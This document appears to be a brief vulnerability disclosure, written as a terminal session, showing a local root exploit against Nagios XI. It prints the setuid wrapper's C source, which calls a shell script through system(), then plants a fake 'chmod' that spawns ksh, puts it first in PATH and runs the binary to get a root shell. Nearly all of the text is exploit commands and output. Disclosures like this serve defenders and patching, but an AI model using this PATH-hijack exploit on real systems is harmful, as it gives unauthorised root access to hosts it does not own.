Vulnerability
rootbsd@laptop:~$ id
uid=1001(rootbsd) gid=1001(rootbsd) groupes=1001(rootbsd)
rootbsd@laptop:~$ ls -l
/usr/local/nagiosxi/scripts/reset_config_perms
-rwsr-xr-x 1 root nagios 5258 2011-04-11 20:38
reset_config_perms
rootbsd@laptop:~$ cat
/usr/local/nagiosxi/scripts/reset_config_perms.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
if(setuid( 0 )!=0)
printf("ERROR TRYING TO SETUID ROOT!\n");
else
printf("SETUID ROOT OK\n");
system(
"/usr/local/nagiosxi/scripts/reset_config_perms.sh" );
return 0;
}
rootbsd@laptop:~$ cat /home/rootbsd/chmod
#!/usr/bin/ksh
ksh
rootbsd@laptop:~$ chmod 755 /home/rootbsd/chmod
rootbsd@laptop:~$ export PATH=/home/rootbsd:$PATH
rootbsd@laptop:~$
/usr/local/nagiosxi/scripts/reset_config_perms
SETUID ROOT OK
RESETTING PERMS
uid=0(root) gid=0(root) groupes=0(root)